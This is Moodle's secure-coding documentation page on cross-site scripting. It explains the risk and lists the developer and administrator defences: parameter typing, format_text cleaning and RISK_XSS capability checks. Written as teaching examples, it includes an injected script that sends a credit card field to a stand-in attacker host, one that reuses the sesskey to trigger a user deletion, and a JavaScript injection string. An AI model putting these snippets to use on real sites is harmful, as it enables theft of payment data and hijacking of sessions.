This content of this page has been updated and migrated to the new Moodle Developer Resources. The information contained on the page should no longer be seen up-to-date.
This page forms part of the Moodle security guidelines.
What is the danger?
Why is that a problem? Well, suppose Evil Hacker manages to get some code like
document.write('<img width="1" height="1" ' + 'src="http://evilhacker.com/savedata.php?creditcard=' + document.getElementById('creditcard').value + '" />');
on a page where the user types in their credit card number. Actually, that scenario is quite unlikely in Moodle, but there are more plausible scenarios that are possible.
Another problem is that XSS makes it much easier for Evil Hacker get round sesskey protection. For example
document.write('<img width="1" height="1" ' + 'src="http://example.com/moodle/user/delete.php?id=123&confirm=1&sesskey=' + document.getElementById('sesskey').value + '" />');
Note also that dangerous content may not only be input into Moodle directly by a user. It may also come, for example, from an external RSS feed.
How Moodle avoids this problem
The simplest solution to XSS attacks is to never let the user input rich content like HTML or upload plugins like flash. Unfortunately, with Moodle we want to let our users communicate using rich content. For example, we want students to be able to express themselves by making forum posts in flashing orange text. We want teacher to be able to upload interesting applets for use by their students. Therefore, we have to compromise.
Moodle divides content that has been input by the user into four categories:
- Plain text content. For example, a student's response to a short answer question.
- Labels that are plain text, except that they main contain multi-lang spans. For example, a course name or section heading.
- HTML (or wiki, markdown) content, that might have been input by anyone. For example the body of a forum post.
- HTML (or wiki, markdown) content, that could only have been input by a trusted user, like a teacher. For example, the body of a web page resource.
However, for very complex input, like HTML, doing the cleaning is very tricky, and the code is likely to handle some complex situations badly. The algorithms will almost certainly be improved in the future, so for complex content, we store the raw input in the database, and only do the cleaning when it is output, using the latest algorithms.
and Evil hacker can make $userinput equal to something like "); /* Do something evil. */ ( then he can get whatever code he chooses to put in the /* Do something evil. */ space to run within your web page.
What you need to do in your code
See also Output_functions
- Get input values using optional_param or required_param with an appropriate PARAM_... type, to ensure that only data of the type you expect is accepted.
- Alternatively, use a moodleforms, with appropriate ->setType calls in the form definition.
- Clean or escape content appropriately on output.
- Use s or p to output plain text content (type 1 above).
- use format_string to output content with minimal HTML like multi-lang spans (type 2 above).
- Use format_text to output all other content (types 3 and 4 above). How carefully it is cleaned (that is, the differenve between type 3 and 4) depends on the $options->noclean argument to format_text.
- Any place where a use can input content that is output by format_text, $options->noclean, must be protected by a capability check, and the capability must be marked as RISK_XSS.
- In Moodle 2.0 and later, use the $PAGE->requires->data_for_js' or $PAGE->requires->js_function_call methods.
What you need to do as an administrator
- Do not allow a user to have a capability with RISK_XSS unless you trust them.
- The Security overview report can help you check this.
- In Moodle 3.5 and later you can enable setting "Content cleaning everywhere" ($CFG->forceclean)